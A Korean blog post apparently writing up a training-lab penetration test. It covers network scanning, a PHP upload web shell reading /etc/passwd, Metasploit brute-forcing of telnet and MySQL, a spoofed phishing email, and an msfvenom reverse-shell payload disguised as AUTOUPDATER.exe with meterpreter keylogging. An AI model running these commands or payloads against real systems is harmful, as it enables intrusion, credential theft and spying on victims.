Notice
Recent Posts
Recent Comments
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

INSPECT

[Metasploit을 이용한 모의해킹] - 피싱메일 본문

모의해킹

[Metasploit을 이용한 모의해킹] - 피싱메일

INSPECT 2016. 12. 31. 04:35

[Metasploit을 이용한 모의해킹] - 피싱메일




Metasploit을 이용한 모의해킹(피싱메일)이다. 가상망은 ICT청년취업아카데미 과정의 이성원 포렌식 강사님이 GNS3를 이용해 만들어 주셨다.



0. 주어진 정보


네트워크         172.10.10.0/24

게이트웨이       .52/24

공격대상 도메인  victim.com



1. IP주소 획득, 네트워크 스캐닝


(1) victim.com의 ip주소를 알아내기 위해 nslookup 명령을 사용했다.

www.victim.com의 ip주소는 172.10.10.2 라는 것을 확인할 수 있다.


(2) 네트워크 정보가 주어졌기 때문에 스캐닝을 할 수 있다.


nmap을 이용해 네트워크 스캐닝을 했다,

nmap -sT -sV -O 172.10.10.0/24


nmap은 Windows에 설치해서 진행했다. 스캐닝을 통해 나온 결과는 23,80,3306 포트가 open되어 있다.


80포트가 열러 있기 때문에 웹으로 접속해 볼 수 있다.

kali-linux에 설치되어 있는 dirbuster로 디렉터리 구조를 파악할 수 있다.


* 웹 퍼징(Web Fuzzing) 도구

웹 퍼징 도구는 웹 사이트에서 추측을 통해서 알아낼 수 있는 페이지들을 자동으로 찾아주는 역할을 한다.

DirBuster는 OWASP에서 제작한 가장 대중적인 웹 퍼징 도구 중 하나이다.


Target URL을 적어주고 스캐닝 타입을 list로 한다면 사전 리스트를 지정, Brute Force방식으로 한다면 체크 후 start해주면 된다.



2. 웹 취약점을 이용한 파일 업로드 공격


웹의 board 주소가 존재하는 것을 확인한 뒤 ~board/ 로 디렉터리 리스팅을 해봤다.

여러 게시판 주소 중 첫번째 게시판으로 들어가 업로드 취약점이 존재하는 것을 확인했다.

php 스크립트를 작성하여 올려봤다.


주소창의 파라미터 값을 조정해 명령할 수 있다. 계정정보를 빼내기 위해 cat /etc/passwd 명령을 넣었다.


UID가 500번 이상인 사용자 계정 두개(board, tester)를 획득할 수 있다.


kali-linux 기능을 이용해 telnet과 mysql의 id,password를 알아낼 수 있다.


msfconsole

use auxiliary/scanner/telnet/telnet_login

set rhosts 172.10.10.2

set user_file /tmp/id.txt

set pass_file /tmp/pw.txt

set stop_on_success true

set threads 256

run


msfconsole

use auxiliary/scanner/mysql/mysql_login

set rhosts 172.10.10.2

set user_file /tmp/id.txt(root)

set pass_file /tmp/pw.txt(root)

set stop_on_success true

set threads 256

run


위의 명령은 스크립트문으로 만들어 한번에 실행시킬 수도 있다. 예) msfconsole -r telnet_login.rc 

telnet의 id, password는 tester, tester 이며 mysql은 root, root 인 것을 확인했다.



3. 메일로 악성코드 유포(피싱)


victim.com의 메일서버주소는 8.8.8.8인 것을 알아냈다.


mail.victim.com을 이용해 피싱메일을 linux계정(관리자)에게 보내도록 한다.

메일은 AYmail 프로그램을 사용하면 실제 존재하지 않는 계정으로 메일을 보낼 수 있다.

linux계정의 관리자는 교수라고 가정하여 AYmail을 사용하여 메일을 보냈다. (첨부파일로 Payload 공격 코드를 일반파일로 위장해 보낸다.)


linux관리자는 hong이라는 가상의 사용자에게서 학사일정관리 프로그램으로 위장한 첨부파일을 받게된다.


서버에서 파일을 열면 위 사진처럼 접속화면이 뜬다. 공격자는 서버를 마음대로 할 수 있게 된다.

안 당할 것 같지 않지만 이런식의 위장메일로 악성코드를 침투시키는 사건이 굉장히 많다.



4. 백도어 생성


공격코드 생성과정과 Windows xp 가상머신을 통해 어떠한 공격이 이루어지는지 알아본다.


kali-linux 공격 모듈인 msfvenom을 이용해 Payload를 사용하여 공격코드를 자동으로 생성한다.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=공격대상ip LPORT=4444 -f exe > AUTOUPDATER.exe


가상환경에서 진행하므로 LHOST에는 호스트ip를 넣은 뒤, 포트를 4444로 넣고 Port Fowarding을 설정해줬다.


자동으로 생성된 공격코드는 AUTOUPDATER.exe라는 파일명으로 만들었고 파일이 생성된 것을 확인할 수 있다.


다음으로 msfconsole로 실행할 백도어를 생성한다.

Payload_Listen.rc


use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.0.8

set LPORT 4444

set ExitOnsession false

exploit -j -z


msfconsole -r Payload_Listen.rc 명령어로 한번에 실행한다.


kali-linux 공격자는 4444포트를 열고 대기중인 것이다. 메일로 파일을 첨부해서 받았다고 가정. 실행시켰을 때의 화면은 다음과 같다.


실행되면 공격자 kali-linux에서 피해자가 접속했다는 정보를 받는다.


연결된 세션들을 보려면 show sessions 명령을 이용해 볼 수 있다. 현재 4번 세션이 연결되어 있다.

sessions -i 4 명령을 통해 4번 세션을 조작할 수 있다. meterpreter 프롬프트가 떨어지면 성공이다.


meterpreter는 help명령으로 사용할 수 있는 기능들에 대한 설명을 볼 수 있다. 몇 가지 기능만 시험해봤다.


연결된 세션의 시스템 정보를 sysinfo 명령으로 간단히 볼 수 있다. 현재 피해자의 화면을 screenshot명령으로 스크린샷을 찍어 저장하는 기능도 있다. 결과는 아래와 같다.


키로거 기능도 가능하다. 피해자가 아래 사진과 같이 타이핑을 했다고 가정한다.



공격자는 keyscan기능을 이용해 위 사진과 같이 키로그를 dump할 수 있다.


execute 기능을 이용해 원하는 프로그램을 실행할 수도 있다. 위의 예로 execute -f cmd.exe 명령을 통해 피해자의 컴퓨터에서 cmd.exe를 킨 뒤 shell명령을 통해 공격자 자신이 사용 가능하다. 따라서 이 명령을 통해 추가적인 공격이 가능해진다.


피해자의 컴퓨터를 shutdown 시킬 수도 있다.


5. 결론


가상으로 간단한 모의해킹을 진행해보며 많은 것을 새롭게 배울 수 있었다. 침해사고 후 분석을 할 때 직접 해킹을 해봐야 자신의 분석 가능한 영역이 넓어진다는 것을 알 수 있었다.

Comments